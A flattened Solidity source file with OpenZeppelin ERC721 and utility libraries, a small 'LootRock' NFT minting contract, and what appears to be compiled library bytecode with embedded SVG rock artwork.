Mapping from token ID to index of the owner tokens list mapping(uint256 => uint256) private _ownedTokensIndex; // Array with all token ids, used for enumeration uint256[] private _allTokens; // Mapping from token id to position in the allTokens array mapping(uint256 => uint256) private _allTokensIndex; /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override(IERC165, ERC721) returns (bool) { return interfaceId == type(IERC721Enumerable).interfaceId || super.supportsInterface(interfaceId); } /** * @dev See {IERC721Enumerable-tokenOfOwnerByIndex}. */ function tokenOfOwnerByIndex(address owner, uint256 index) public view virtual override returns (uint256) { require(index < ERC721.balanceOf(owner), "ERC721Enumerable: owner index out of bounds"); return _ownedTokens[owner][index]; } /** * @dev See {IERC721Enumerable-totalSupply}. */ function totalSupply() public view virtual override returns (uint256) { return _allTokens.length; } /** * @dev See {IERC721Enumerable-tokenByIndex}. */ function tokenByIndex(uint256 index) public view virtual override returns (uint256) { require(index < ERC721Enumerable.totalSupply(), "ERC721Enumerable: global index out of bounds"); return _allTokens[index]; } /** * @dev Hook that is called before any token transfer. This includes minting * and burning. * * Calling conditions: * * - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be * transferred to `to`. * - When `from` is zero, `tokenId` will be minted for `to`. * - When `to` is zero, ``from``'s `tokenId` will be burned. * - `from` cannot be the zero address. * - `to` cannot be the zero address. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer( address from, address to, uint256 tokenId ) internal virtual override { super._beforeTokenTransfer(from, to, tokenId); if (from == address(0)) { _addTokenToAllTokensEnumeration(tokenId); } else if (from != to) { _removeTokenFromOwnerEnumeration(from, tokenId); } if (to == address(0)) { _removeTokenFromAllTokensEnumeration(tokenId); } else if (to != from) { _addTokenToOwnerEnumeration(to, tokenId); } } /** * @dev Private function to add a token to this extension's ownership-tracking data structures. * @param to address representing the new owner of the given token ID * @param tokenId uint256 ID of the token to be added to the tokens list of the given address */ function _addTokenToOwnerEnumeration(address to, uint256 tokenId) private { uint256 length = ERC721.balanceOf(to); _ownedTokens[to][length] = tokenId; _ownedTokensIndex[tokenId] = length; } /** * @dev Private function to add a token to this extension's token tracking data structures. * @param tokenId uint256 ID of the token to be added to the tokens list */ function _addTokenToAllTokensEnumeration(uint256 tokenId) private { _allTokensIndex[tokenId] = _allTokens.length; _allTokens.push(tokenId); } /** * @dev Private function to remove a token from this extension's ownership-tracking data structures. Note that * while the token is not assigned a new owner, the `_ownedTokensIndex` mapping is _not_ updated: this allows for * gas optimizations e.g. when performing a transfer operation (avoiding double writes). * This has O(1) time complexity, but alters the order of the _ownedTokens array. * @param from address representing the previous owner of the given token ID * @param tokenId uint256 ID of the token to be removed from the tokens list of the given address */ function _removeTokenFromOwnerEnumeration(address from, uint256 tokenId) private { // To prevent a gap in from's tokens array, we store the last token in the index of the token to delete, and // then delete the last slot (swap and pop). uint256 lastTokenIndex = ERC721.balanceOf(from) - 1; uint256 tokenIndex = _ownedTokensIndex[tokenId]; // When the token to delete is the last token, the swap operation is unnecessary if (tokenIndex != lastTokenIndex) { uint256 lastTokenId = _ownedTokens[from][lastTokenIndex]; _ownedTokens[from][tokenIndex] = lastTokenId; // Move the last token to the slot of the to-delete token _ownedTokensIndex[lastTokenId] = tokenIndex; // Update the moved token's index } // This also deletes the contents at the last position of the array delete _ownedTokensIndex[tokenId]; delete _ownedTokens[from][lastTokenIndex]; } /** * @dev Private function to remove a token from this extension's token tracking data structures. * This has O(1) time complexity, but alters the order of the _allTokens array. * @param tokenId uint256 ID of the token to be removed from the tokens list */ function _removeTokenFromAllTokensEnumeration(uint256 tokenId) private { // To prevent a gap in the tokens array, we store the last token in the index of the token to delete, and // then delete the last slot (swap and pop). uint256 lastTokenIndex = _allTokens.length - 1; uint256 tokenIndex = _allTokensIndex[tokenId]; // When the token to delete is the last token, the swap operation is unnecessary. However, since this occurs so // rarely (when the last minted token is burnt) that we still do the swap here to avoid the gas cost of adding // an 'if' statement (like in _removeTokenFromOwnerEnumeration) uint256 lastTokenId = _allTokens[lastTokenIndex]; _allTokens[tokenIndex] = lastTokenId; // Move the last token to the slot of the to-delete token _allTokensIndex[lastTokenId] = tokenIndex; // Update the moved token's index // This also deletes the contents at the last position of the array delete _allTokensIndex[tokenId]; _allTokens.pop(); } } // File: @openzeppelin/contracts/utils/Strings.sol pragma solidity ^0.8.0; /** * @dev String operations. */ library Strings { bytes16 private constant _HEX_SYMBOLS = "0123456789abcdef"; /** * @dev Converts a `uint256` to its ASCII `string` decimal representation. */ function toString(uint256 value) internal pure returns (string memory) { // Inspired by OraclizeAPI's implementation - MIT licence // https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol if (value == 0) { return "0"; } uint256 temp = value; uint256 digits; while (temp != 0) { digits++; temp /= 10; } bytes memory buffer = new bytes(digits); while (value != 0) { digits -= 1; buffer[digits] = bytes1(uint8(48 + uint256(value % 10))); value /= 10; } return string(buffer); } /** * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation. */ function toHexString(uint256 value) internal pure returns (string memory) { if (value == 0) { return "0x00"; } uint256 temp = value; uint256 length = 0; while (temp != 0) { length++; temp >>= 8; } return toHexString(value, length); } /** * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation with fixed length. */ function toHexString(uint256 value, uint256 length) internal pure returns (string memory) { bytes memory buffer = new bytes(2 * length + 2); buffer[0] = "0"; buffer[1] = "x"; for (uint256 i = 2 * length + 1; i > 1; --i) { buffer[i] = _HEX_SYMBOLS[value & 0xf]; value >>= 4; } require(value == 0, "Strings: hex length insufficient"); return string(buffer); } } // File: @openzeppelin/contracts/utils/Address.sol pragma solidity ^0.8.0; /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // This method relies on extcodesize, which returns 0 for contracts in // construction, since the code is only stored at the end of the // constructor execution. uint256 size; assembly { size := extcodesize(account) } return size > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); (bool success, ) = recipient.call{value: amount}(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain `call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value ) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value, string memory errorMessage ) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); (bool success, bytes memory returndata) = target.call{value: value}(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall( address target, bytes memory data, string memory errorMessage ) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); (bool success, bytes memory returndata) = target.staticcall(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) { return functionDelegateCall(target, data, "Address: low-level delegate call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { require(isContract(target), "Address: delegate call to non-contract"); (bool success, bytes memory returndata) = target.delegatecall(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the * revert reason using the provided one. * * _Available since v4.3._ */ function verifyCallResult( bool success, bytes memory returndata, string memory errorMessage ) internal pure returns (bytes memory) { if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } // File: LootRock.sol pragma solidity ^0.8.0; contract LootRock is ERC721, ERC721Enumerable, ERC721URIStorage, Ownable { using SafeMath for uint256; using Counters for Counters.Counter; uint256 public constant MAX_SUPPLY = 1000; uint256 public constant MAX_PURCHASE = 10; uint256 public constant PRICE = 0.1 * 10 ** 18; Counters.Counter private _tokenIdCounter; mapping (uint256 => bytes3) public colors; constructor() ERC721("LootRock", "ROCK") {} function mint(uint256 amount) public payable { require(totalSupply() < MAX_SUPPLY, "LootRock: Sale has ended"); require(amount > 0, "LootRock: Cannot buy 0"); require(amount <= MAX_PURCHASE, "LootRock: You may not buy that many NFTs at once"); require(totalSupply().add(amount) <= MAX_SUPPLY, "LootRock: Exceeds max supply"); require(PRICE.mul(amount) == msg.value, "LootRock: Ether value sent is not correct"); for (uint i = 0; i < amount; i++) { uint256 tokenId = _tokenIdCounter.current(); _tokenIdCounter.increment(); _safeMint(msg.sender, tokenId); bytes32 predictableRandom = keccak256(abi.encodePacked(blockhash(block.number), msg.sender, address(this), i)); colors[tokenId] = bytes2(predictableRandom[0]) | ( bytes2(predictableRandom[1]) >> 8 ) | ( bytes2(predictableRandom[2]) >> 16 ); } } function tokenURI(uint256 tokenId) public view override(ERC721, ERC721URIStorage) returns (string memory) { address owner = ownerOf(tokenId); bytes3 color = colors[tokenId]; return NFTDescriptor.constructTokenURI(NFTDescriptor.ConstructTokenURIParams({ tokenId: tokenId, owner: owner, color: color })); } function withdraw() public { payable(owner()).transfer(address(this).balance); } // The following functions are overrides required by Solidity. function _beforeTokenTransfer(address from, address to, uint256 tokenId) internal override(ERC721, ERC721Enumerable) { super._beforeTokenTransfer(from, to, tokenId); } function _burn(uint256 tokenId) internal override(ERC721, ERC721URIStorage) { super._burn(tokenId); } function supportsInterface(bytes4 interfaceId) public view override(ERC721, ERC721Enumerable) returns (bool) { return super.supportsInterface(interfaceId); } }
0x739708af8bca083f1abfea3cdfc4049e54e5ca9ad430146080604052600436106100355760003560e01c8063c49917d71461003a575b600080fd5b61004d610048366004610577565b610063565b60405161005a91906109c9565b60405180910390f35b6060600061007483600001516100ed565b9050600061008061011e565b9050600061009561009086610143565b610186565b90506100c38383836040516020016100af9392919061062c565b604051602081830303815290604052610186565b6040516020016100d39190610984565b60405160208183030381529060405293505050505b919050565b60606100f8826102fd565b60405160200161010891906106f3565b6040516020818303038152906040529050919050565b606060405160200161012f90610721565b604051602081830303815290604052905090565b6060600060405180602001604052806101726003866040015160e81c62ffffff1661042090919063ffffffff16565b9052905061017f81610528565b9392505050565b60608151600014156101a757506040805160208101909152600081526100e8565b6000604051806060016040528060408152602001612c3b60409139905060006003845160026101d691906109fc565b6101e09190610a14565b6101eb906004610a28565b905060006101fa8260206109fc565b67ffffffffffffffff81111561022057634e487b7160e01b600052604160045260246000fd5b6040519080825280601f01601f19166020018201604052801561024a576020820181803683370190505b509050818152600183018586518101602084015b818310156102b85760039283018051603f601282901c811687015160f890811b8552600c83901c8216880151811b6001860152600683901c8216880151811b60028601529116860151901b9382019390935260040161025e565b6003895106600181146102d257600281146102e3576102ef565b613d3d60f01b6001198301526102ef565b603d60f81b6000198301525b509398975050505050505050565b60608161032257506040805180820190915260018152600360fc1b60208201526100e8565b8160005b811561034c578061033681610aa5565b91506103459050600a83610a14565b9150610326565b60008167ffffffffffffffff81111561037557634e487b7160e01b600052604160045260246000fd5b6040519080825280601f01601f19166020018201604052801561039f576020820181803683370190505b5090505b8415610418576103b4600183610a47565b91506103c1600a86610ac0565b6103cc9060306109fc565b60f81b8183815181106103ef57634e487b7160e01b600052603260045260246000fd5b60200101906001600160f81b031916908160001a905350610411600a86610a14565b94506103a3565b949350505050565b6060600061042f836002610a28565b67ffffffffffffffff81111561045557634e487b7160e01b600052604160045260246000fd5b6040519080825280601f01601f19166020018201604052801561047f576020820181803683370190505b5080519091505b8015610520576f181899199a1a9b1b9c1cb0b131b232b360811b85600f16601081106104c257634e487b7160e01b600052603260045260246000fd5b1a60f81b826104d2600184610a47565b815181106104f057634e487b7160e01b600052603260045260246000fd5b60200101906001600160f81b031916908160001a90535060049490941c938061051881610a8e565b915050610486565b509392505050565b60606105378260000151610547565b6040516020016101089190610602565b606060405180612160016040528061213a8152602001610b0161213a91398260405160200161010892919061082e565b600060608284031215610588578081fd5b6040516060810181811067ffffffffffffffff821117156105b757634e487b7160e01b83526041600452602483fd5b6040528235815260208301356001600160a01b03811681146105d7578283fd5b602082015260408301356001600160e81b0319811681146105f6578283fd5b60408201529392505050565b60008251610614818460208701610a5e565b651e17b9bb339f60d11b920191825250600601919050565b683d913730b6b2911d1160b91b81528351600090610651816009850160208901610a5e565b71111610113232b9b1b934b83a34b7b7111d1160711b600991840191820152845161068381601b840160208901610a5e565b6c1116101134b6b0b3b2911d101160991b601b92909101918201527f646174613a696d6167652f7376672b786d6c3b6261736536342c000000000000602882015283516106d7816042840160208801610a5e565b61227d60f01b6042929091019182015260440195945050505050565b600065526f636b202360d01b82528251610714816006850160208701610a5e565b9190910160060192915050565b7f4c6f6f742069732072616e646f6d697a656420616476656e747572657220676581527f61722067656e65726174656420616e642073746f726564206f6e20636861696e60208201527f2e204574686572526f636b20776173206f6e65206f662074686520666972737460408201527f2063727970746f20636f6c6c65637469626c65204e46542d747970652070726f60608201527f6a65637473206f6e2074686520457468657265756d20626c6f636b636861696e60808201527f2e204c6f6f74526f636b20697320746865207065726665637420636f6c6c697360a08201527f696f6e206f66204c6f6f7420616e64204574686572526f636b2e00000000000060c082015260da0190565b60007f3c7376672077696474683d2234303022206865696768743d223536352e37303482527f313833383533383539382220786d6c6e733d22687474703a2f2f7777772e773360208301527f2e6f72672f323030302f73766722202076696577426f783d22302c20302c20346040830152751818161a9b1a971b981a189c199c1a999c1a9c9c111f60511b60608301526c1e339034b21e913937b1b5911f60991b6076830152731e3830ba341034b21e913830ba34181110321e9160611b60838301528351610904816097850160208801610a5e565b7f22207374726f6b653d226e6f6e65222066696c6c3d222300000000000000000060979184019182015283516109418160ae840160208801610a5e565b7f222066696c6c2d72756c653d226576656e6f6464223e3c2f706174683e00000060ae9290910191820152631e17b39f60e11b60cb82015260cf01949350505050565b60007f646174613a6170706c69636174696f6e2f6a736f6e3b6261736536342c000000825282516109bc81601d850160208701610a5e565b91909101601d0192915050565b60006020825282518060208401526109e8816040850160208701610a5e565b601f01601f19169190910160400192915050565b60008219821115610a0f57610a0f610ad4565b500190565b600082610a2357610a23610aea565b500490565b6000816000190483118215151615610a4257610a42610ad4565b500290565b600082821015610a5957610a59610ad4565b500390565b60005b83811015610a79578181015183820152602001610a61565b83811115610a88576000848401525b50505050565b600081610a9d57610a9d610ad4565b506000190190565b6000600019821415610ab957610ab9610ad4565b5060010190565b600082610acf57610acf610aea565b500690565b634e487b7160e01b600052601160045260246000fd5b634e487b7160e01b600052601260045260246000fdfe4d39332e3338382034302e34333020432038342e3333392034322e3532342c37382e3633322034382e3138362c37382e3135312035352e35343620432037382e3035312035372e3036372c37372e3832342035372e3730302c37352e3832322036322e30323820432037342e3630312036342e3636362c37322e3436352036392e3330382c37312e3037352037322e33343420432036392e3638342037352e3338312c36382e3330372037382e3234352c36382e3031352037382e37303920432036322e3537322038372e3333372c35392e3136352039362e3030332c35382e343434203130332e30353420432035372e393135203130382e3231382c35372e323932203131302e3333352c35332e363637203131392e32393320432034392e323830203133302e3133362c34392e353031203132382e3236302c34392e353030203135342e36353520432034392e343939203137332e3338312c34392e343534203137362e3134332c34392e313332203137372e30343820432034382e353136203137382e3738312c34382e313133203138312e3034352c34362e383839203138392e36323920432034342e393637203230332e3131302c34332e393638203230372e3038362c34312e363738203231302e33373120432033372e373034203231362e3037312c33362e303033203232332e3932322c33332e383135203234362e36373120432033332e333832203235312e3137322c33322e363833203235342e3337352c33302e323932203236322e38313720432032392e343330203236352e3836332c32382e333034203237302e3130362c32372e373931203237322e32343520432032372e323738203237342e3338342c32362e353937203237372e3033362c32362e323739203237382e31333820432032352e333038203238312e3530332c32352e323235203238322e3039312c32342e393739203238372e33333120432032342e353438203239362e3530302c32342e313631203239382e3339332c32322e313537203330312e31343320432032312e353039203330322e3033322c32302e393736203330322e3932312c32302e393734203330332e31313820432032302e393632203330342e3030352c31382e363734203330382e3639332c31352e373238203331332e383637204320372e383932203332372e3632352c372e303539203333342e3534362c31322e363030203333392e383636204c2031342e313433203334312e3334382031332e303736203334342e30343620432031302e383630203334392e3634392c31302e353035203335322e3335352c31302e343936203336332e373031204c2031302e343839203337322e3534302031312e373234203337362e31343120432031342e353537203338342e3430302c31382e393336203339312e3835342c32332e373732203339362e36353220432033302e383832203430332e3730362c33342e363632203431332e3639332c33382e323836203433352e30303320432034302e313537203434362e3030332c34322e303530203435302e3938342c35322e343231203437322e31393420432035372e323039203438312e3938362c36302e353436203438342e3239372c37342e363139203438372e35363920432038362e353032203439302e3333322c38392e333931203439312e3737332c39332e323235203439362e3835312043203130312e353531203530372e3837372c3131352e323033203531352e3335352c3132362e393330203531352e3331312043203133302e303939203531352e3239392c3133302e393535203531352e3339322c3133352e313830203531362e3231302043203134352e373236203531382e3235322c3135312e343335203531392e3135322c3137362e393030203532322e3738362043203139352e323231203532352e3430302c3230332e303837203532362e3634302c3231302e383433203532382e313334204c203231352e303835203532382e393531203233322e353238203532392e3136392043203234322e313231203532392e3239302c3235382e323832203532392e3339322c3236382e343430203532392e333936204c203238362e393039203532392e343035203238372e363235203533302e3030372043203239312e383332203533332e3534372c3330342e313337203533342e3337332c3331372e393733203533322e303433204c203332302e343438203533312e363237203332332e313539203533322e3431392043203332382e333435203533332e3933352c3332382e353332203533332e3936372c3333302e333236203533332e3637302043203333322e363031203533332e3239342c3333342e363734203533322e3233302c3333362e363635203533302e3431372043203334332e313831203532342e3438352c3335352e333436203531382e3739382c3336312e353230203531382e3739382043203336312e373830203531382e3739382c3336332e343131203531382e3433312c3336352e313435203531372e3938332043203336362e383739203531372e3533352c3337302e383736203531362e3537382c3337342e303238203531352e3835372043203338322e333837203531332e3934332c3338352e373532203531322e3939392c3339302e303231203531312e333639204c203339322e343137203531302e343533203339322e383530203530382e3332302043203339332e393430203530322e3934352c3339332e333937203439352e3239382c3339312e323530203438352e3739382043203339302e373337203438332e3533302c3338392e393533203438302e3035372c3338392e353037203437382e3038302043203338392e303631203437362e3130342c3338382e343934203437342e3038382c3338382e323436203437332e3630322043203338352e393536203436392e3130302c3338342e363335203436322e3736332c3338322e353539203434362e3331372043203338312e313831203433352e3430312c3338312e313632203433352e3238362c3337392e303235203432342e3339362043203337362e343331203431312e3137382c3337362e353131203431322e3032312c3337372e313336203430342e3536302043203337372e373732203339362e3936372c3337372e383236203339302e3737332c3337372e323739203338382e3231342043203337372e303731203338372e3234322c3337362e393031203338352e3430362c3337362e393031203338342e3133332043203337362e393030203337372e3631312c3337362e343334203337312e3431392c3337352e373434203336382e3736382043203337342e383637203336352e3339362c3337342e353430203336322e3134392c3337342e333038203335342e3530382043203337342e313136203334382e3134372c3337332e373036203334342e3133372c3337322e383431203334302e3133302043203337322e313933203333372e3133332c3337312e393239203332382e3335312c3337312e393337203331302e3132322043203337312e393434203239352e3435382c3337312e383139203239332e3139332c3337302e373830203238392e3133302043203336392e323038203238322e3938322c3336352e373834203237382e3137352c3336312e303230203237352e3432372043203335312e383235203237302e3132342c3334392e323930203236322e3031322c3335302e353234203234312e3833392043203335302e363633203233392e3537302c3335302e373738203233342e3930332c3335302e373830203233312e3436372043203335302e373832203232382e3033322c3335302e383830203232342e3736362c3335302e393939203232342e3231302043203335322e383132203231352e3730342c3335302e343834203230342e3738312c3334352e323335203139372e3137312043203334342e353230203139362e3133342c3334332e353432203139342e3633302c3334332e303632203139332e3832382043203334322e353832203139332e3032362c3334312e373936203139312e3936312c3334312e333137203139312e3436322043203334302e383338203139302e3936342c3334302e303033203138392e3637322c3333392e343632203138382e3539312043203333362e343536203138322e3538342c3333322e383930203138302e3231312c3332322e353735203137372e3335312043203331382e323136203137362e3134322c3331382e343336203137362e3330372c3331372e373733203137332e3735302043203331362e343739203136382e3736382c3331342e373330203136362e3331372c3330352e373234203135362e3836352043203239392e383436203135302e3639372c3239392e323237203135302e3031322c3239322e343637203134322e3139312043203238392e303134203133382e3139372c3238382e373232203133372e3738342c3238382e313334203133362e3037322043203238362e333638203133302e3932392c3238322e353334203132352e3135332c3237332e373733203131342e3433372043203237312e323936203131312e3430372c3237302e353230203131302e3237392c3236372e323930203130342e3939392043203236302e3437372039332e3836382c3235362e3432372038392e3531352c3235302e3539332038372e3035322043203234372e3632382038352e3830312c3234352e3033362038342e3334392c3234302e3637342038312e3439322043203233302e3834352037352e3035352c3232372e3833382037342e3135362c3232302e3633312037352e3439392043203231352e3130362037362e3532382c3231312e3738322037362e3239342c3231302e3136302037342e3736312043203230392e3437312037342e3131312c3230392e3230322037342e3034322c3230352e3533392037332e3538302043203230312e3639352037332e3039362c3230312e3630392037332e3037322c3139382e3131342037312e3533362043203139332e3532392036392e3532302c3138372e3139372036362e3936392c3138342e3136362036352e3931372043203138322e3834372036352e3435392c3138302e3634392036342e3433322c3137392e3238322036332e3633342043203137342e3632362036302e3931382c3137302e3036352035392e3334302c3135382e3139392035362e3333392043203134362e3832342035332e3436332c3134312e3538362035312e3130322c3133372e3036352034362e383134204c203133352e3635312034352e343733203133322e3131352034352e3030302043203133302e3137312034342e3733392c3132342e3836372034332e3930302c3132302e3333302034332e3133342043203130392e3932382034312e3337392c3130362e3230302034302e3836342c3130312e3437332034302e35333220432039392e3339392034302e3338362c39372e3531382034302e3137302c39372e3239332034302e30353120432039362e3730352033392e3734312c39362e3131372033392e3739382c39332e3338382034302e343330204d3130342e3934372034362e3232352043203130372e3234362034362e3437362c3131332e3138362034372e3336312c3131382e3134372034382e3139312043203132332e3130372034392e3032312c3132382e3433382034392e3837342c3132392e3939342035302e3038372043203133312e3535302035302e3330302c3133332e3033352035302e3536342c3133332e3239342035302e3637352043203133332e3535332035302e3738352c3133342e3131392035302e3933362c3133342e3535312035312e3031302043203133352e3035362035312e3039372c3133352e3835362035312e3631372c3133362e3739302035322e3436352043203134312e3532312035362e3735382c3134362e3635322035382e3937372c3135392e3130342036322e3131352043203136392e3338352036342e3730362c3137352e3934392036372e3039362c3137392e3531302036392e3534362043203138302e3037372036392e3933362c3138312e3739302037302e3638352c3138332e3331372037312e3231302043203138362e3430372037322e3237342c3139322e3930392037342e3838352c3139372e3736312037372e3031312043203230302e3736332037382e3332362c3230312e3133362037382e3432392c3230342e3336312037382e3833352043203230372e3532372037392e3233342c3230372e3838382037392e3333312c3230392e3236342038302e3135362043203231312e3737332038312e3635392c3231352e3336332038312e3931352c3232302e3634362038302e3936372043203232362e3231352037392e3936372c3232352e3634342037392e3939392c3232372e3633352038302e3537332043203233302e3437302038312e3338392c3233332e3832372038332e3132372c3233382e3638332038362e3239342043203234322e3733362038382e3933382c3234352e3635352039302e3536322c3234392e3836302039322e3531342043203235342e3332312039342e3538342c3235382e3231382039382e3732392c3236322e393335203130362e3432322043203236362e343539203131322e3137302c3236392e303137203131362e3030362c3237302e343538203131372e3730342043203237382e313837203132362e3831352c3238332e363138203133352e3030342c3238352e303138203133392e3635382043203238352e343338203134312e3035352c3238352e373733203134312e3539382c3238372e323030203134332e3139342043203238382e313238203134342e3233312c3239302e383032203134372e3330372c3239332e313434203135302e3032392043203239352e343836203135322e3735322c3239392e303334203135362e3637372c3330312e303239203135382e3735312043203330372e363630203136352e3634372c3330392e303732203136372e3139322c3331302e343937203136392e3130372043203331322e323633203137312e3438312c3331332e373933203137342e3538312c3331342e313737203137362e3536332043203331342e333339203137372e3339372c3331342e353134203137382e3239372c3331342e353636203137382e3536352043203331342e373530203137392e3531372c3331362e353035203138302e3432382c3331392e373431203138312e3235302043203332392e373135203138332e3738342c3333332e333235203138362e3135302c3333352e393933203139312e3930362043203333362e343334203139322e3835372c3333372e313833203139342e3030372c3333372e363537203139342e3436312043203333382e313332203139342e3931352c3333382e373938203139352e3736332c3333392e313338203139362e3334362043203333392e343738203139362e3933302c3334302e343132203139382e3336322c3334312e323132203139392e3532392043203334362e313733203230362e3736312c3334382e343932203231362e3538352c3334362e393731203232332e3932352043203334362e373533203232342e3937322c3334362e363430203232372e3631392c3334362e363133203233322e3239322043203334362e353931203233362e3035322c3334362e343335203234312e3430382c3334362e323636203234342e3139362043203334352e313430203236322e3735312c3334382e353031203237332e3230372c3335372e303139203237372e3633382043203336352e303638203238312e3832362c3336372e363235203238382e3431342c3336372e343630203330342e3533372043203336372e333436203331352e3737302c3336372e333434203331352e3431342c3336372e353532203332362e3639342043203336372e373132203333352e3339322c3336372e383038203333372e3235322c3336382e313835203333382e3935312043203336392e313735203334332e3431382c3336392e363138203334372e3439342c3336392e383337203335342e3135342043203337302e303835203336312e3733312c3337302e353035203336352e3837352c3337312e333337203336382e3935382043203337312e393330203337312e3135332c3337322e343232203337372e3838312c3337322e343232203338332e3738302043203337322e343232203338342e3938372c3337322e353739203338362e3731382c3337322e373731203338372e3632352043203337332e323737203339302e3031322c3337332e323232203339362e3338342c3337322e363337203430332e3237382043203337312e393939203431302e3739312c3337312e393934203431302e3734302c3337342e373830203432342e3836372043203337362e363336203433342e3238352c3337362e373036203433342e3732342c3337382e303831203434352e3631302043203338302e313230203436312e3735342c3338302e393835203436362e3030302c3338332e343335203437312e3839322043203338332e383933203437322e3939342c3338342e363137203437352e3433332c3338352e303434203437372e3331332043203338382e363230203439332e3036392c3338382e353531203439322e3633392c3338382e353437203439392e3131362043203338382e353433203530352e3533322c3338382e343438203530362e3031302c3338372e303332203530362e3731322043203338352e363038203530372e3431392c3337392e363437203530392e3039322c3337332e373938203531302e3432362043203337312e313631203531312e3032382c3336372e333134203531312e3934332c3336352e323439203531322e3435392043203336332e313834203531322e3937362c3336302e303932203531332e3635372c3335382e333738203531332e3937342043203335322e333834203531352e3038312c3334362e333035203531372e3331382c3334312e353434203532302e3136392043203333382e343933203532312e3939352c3333382e353837203532312e3931392c3333372e333235203532332e3538302043203333342e393734203532362e3637322c3333312e303837203532392e3530342c3332392e323837203532392e3433372043203332382e303230203532392e3339302c3332342e373931203532382e3533352c3332312e343537203532372e333634204c203331392e303334203532362e353133203331372e303330203532362e3830362043203331312e333637203532372e3633332c3330392e363335203532372e3738362c3330342e353238203532372e3931352043203239352e333039203532382e3134372c3239302e303035203532372e3132362c3238372e393931203532342e373332204c203238372e343130203532342e303431203235312e373139203532332e3931342043203231362e363930203532332e3738392c3231352e393835203532332e3737372c3231332e363731203532332e3239342043203230362e323932203532312e3735332c3139352e353237203532302e3035392c3137312e363632203531362e3638332043203135352e313939203531342e3335342c3134352e313437203531322e3734352c3133372e353030203531312e3231342043203133322e393430203531302e3330312c3133322e323832203531302e3232372c3132382e333434203531302e3138342043203131362e353934203531302e3035382c3130352e373932203530342e3130322c39362e373731203439322e37373620432039322e343331203438372e3332362c38392e343031203438352e3737342c37372e363636203438322e39383820432036382e383431203438302e3839332c36342e383639203437392e3335362c36312e393530203437362e39303420432035392e383438203437352e3133392c35392e373036203437342e3839372c35342e373036203436342e35373520432035322e313033203435392e3230302c34392e363031203435342e3038382c34392e313435203435332e32313520432034372e323432203434392e3537322c34342e323438203433392e3437332c34332e313434203433322e39373520432033392e333931203431302e3839342c33342e353538203339382e3738352c32372e303434203339322e36333220432032342e323132203339302e3331342c31382e393734203338302e